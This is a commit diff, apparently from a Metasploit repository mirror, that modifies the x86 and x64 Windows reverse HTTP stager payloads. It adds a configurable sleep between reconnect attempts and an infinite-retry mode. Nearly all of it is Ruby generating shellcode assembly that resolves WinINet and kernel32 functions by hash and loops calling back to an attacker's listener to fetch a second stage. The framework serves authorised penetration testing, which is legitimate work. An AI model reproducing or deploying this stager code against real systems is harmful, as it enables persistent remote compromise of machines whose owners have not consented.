Functionality was added to allow the payload to wait before trying to reconnect.
Also the code was modified to allow the payload to infinite retry if 0 is set.bug/bundler_fix
parent
f02c323c7e
commit
09442f226a
|
@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options([
|
||||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
|
||||||
|
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
|
||||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||||
|
@ -47,7 +48,8 @@ module Payload::Windows::ReverseHttp
|
||||||
ssl: opts[:ssl] || false,
|
ssl: opts[:ssl] || false,
|
||||||
host: ds['LHOST'],
|
host: ds['LHOST'],
|
||||||
port: ds['LPORT'],
|
port: ds['LPORT'],
|
||||||
retry_count: ds['StagerRetryCount']
|
retry_count: ds['StagerRetryCount'],
|
||||||
|
retry_wait: ds['StagerRetryWait']
|
||||||
}
|
}
|
||||||
|
|
||||||
# Add extra options if we have enough space
|
# Add extra options if we have enough space
|
||||||
|
@ -153,10 +155,12 @@ module Payload::Windows::ReverseHttp
|
||||||
# @option opts [String] :proxy_user The optional proxy server username
|
# @option opts [String] :proxy_user The optional proxy server username
|
||||||
# @option opts [String] :proxy_pass The optional proxy server password
|
# @option opts [String] :proxy_pass The optional proxy server password
|
||||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||||
|
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||||
#
|
#
|
||||||
def asm_reverse_http(opts={})
|
def asm_reverse_http(opts={})
|
||||||
|
|
||||||
retry_count = [opts[:retry_count].to_i, 1].max
|
retry_count = opts[:retry_count].to_i
|
||||||
|
retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
|
||||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||||
proxy_info = ""
|
proxy_info = ""
|
||||||
|
|
||||||
|
@ -315,15 +319,21 @@ module Payload::Windows::ReverseHttp
|
||||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||||
call ebp
|
call ebp
|
||||||
xchg esi, eax ; save hHttpRequest in esi
|
xchg esi, eax ; save hHttpRequest in esi
|
||||||
|
^
|
||||||
|
if retry_count > 0
|
||||||
|
asm << %Q^
|
||||||
; Store our retry counter in the edi register
|
; Store our retry counter in the edi register
|
||||||
set_retry:
|
set_retry:
|
||||||
push #{retry_count}
|
push #{retry_count}
|
||||||
pop edi
|
pop edi
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
send_request:
|
send_request:
|
||||||
^
|
^
|
||||||
|
|
||||||
|
|
||||||
if opts[:ssl]
|
if opts[:ssl]
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||||
|
@ -350,13 +360,33 @@ module Payload::Windows::ReverseHttp
|
||||||
call ebp
|
call ebp
|
||||||
test eax,eax
|
test eax,eax
|
||||||
jnz allocate_memory
|
jnz allocate_memory
|
||||||
|
^
|
||||||
|
|
||||||
try_it_again:
|
if retry_wait
|
||||||
dec edi
|
asm << %Q^
|
||||||
jnz send_request
|
set_wait:
|
||||||
|
push #{retry_wait} ; dwMilliseconds
|
||||||
|
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||||
|
call ebp ; Sleep( dwMilliseconds );
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
; if we didn't allocate before running out of retries, bail out
|
if retry_count > 0
|
||||||
^
|
asm << %Q^
|
||||||
|
try_it_again:
|
||||||
|
dec edi
|
||||||
|
jnz send_request
|
||||||
|
|
||||||
|
; if we didn't allocate before running out of retries, bail out
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
|
try_it_again:
|
||||||
|
jmp send_request
|
||||||
|
|
||||||
|
; retry forever
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
if opts[:exitfunk]
|
if opts[:exitfunk]
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
|
|
|
@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options([
|
||||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
|
||||||
|
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
|
||||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||||
|
@ -52,7 +53,8 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
ssl: opts[:ssl] || false,
|
ssl: opts[:ssl] || false,
|
||||||
host: ds['LHOST'],
|
host: ds['LHOST'],
|
||||||
port: ds['LPORT'],
|
port: ds['LPORT'],
|
||||||
retry_count: ds['StagerRetryCount']
|
retry_count: ds['StagerRetryCount'],
|
||||||
|
retry_wait: ds['StagerRetryWait']
|
||||||
}
|
}
|
||||||
|
|
||||||
# add extended options if we do have enough space
|
# add extended options if we do have enough space
|
||||||
|
@ -152,10 +154,12 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
# @option opts [String] :proxy_user The optional proxy server username
|
# @option opts [String] :proxy_user The optional proxy server username
|
||||||
# @option opts [String] :proxy_pass The optional proxy server password
|
# @option opts [String] :proxy_pass The optional proxy server password
|
||||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||||
|
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||||
#
|
#
|
||||||
def asm_reverse_http(opts={})
|
def asm_reverse_http(opts={})
|
||||||
|
|
||||||
retry_count = [opts[:retry_count].to_i, 1].max
|
retry_count = opts[:retry_count].to_i
|
||||||
|
retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
|
||||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||||
proxy_info = ""
|
proxy_info = ""
|
||||||
|
|
||||||
|
@ -320,15 +324,19 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
mov rsi, rax
|
mov rsi, rax
|
||||||
^
|
^
|
||||||
|
|
||||||
if retry_count > 1
|
if retry_count > 0
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
push #{retry_count}
|
push #{retry_count}
|
||||||
pop rdi
|
pop rdi
|
||||||
|
|
||||||
retryrequest:
|
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
retryrequest:
|
||||||
|
^
|
||||||
|
|
||||||
|
|
||||||
if opts[:ssl]
|
if opts[:ssl]
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
internetsetoption:
|
internetsetoption:
|
||||||
|
@ -360,7 +368,16 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
jnz allocate_memory
|
jnz allocate_memory
|
||||||
^
|
^
|
||||||
|
|
||||||
if retry_count > 1
|
if retry_wait
|
||||||
|
asm << %Q^
|
||||||
|
set_wait:
|
||||||
|
mov rcx, #{retry_wait} ; dwMilliseconds
|
||||||
|
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||||
|
call rbp ; Sleep( dwMilliseconds );
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
if retry_count > 0
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
try_it_again:
|
try_it_again:
|
||||||
dec rdi
|
dec rdi
|
||||||
|
@ -369,7 +386,8 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
^
|
^
|
||||||
else
|
else
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
jmp failure
|
jmp retryrequest
|
||||||
|
; retry forever
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue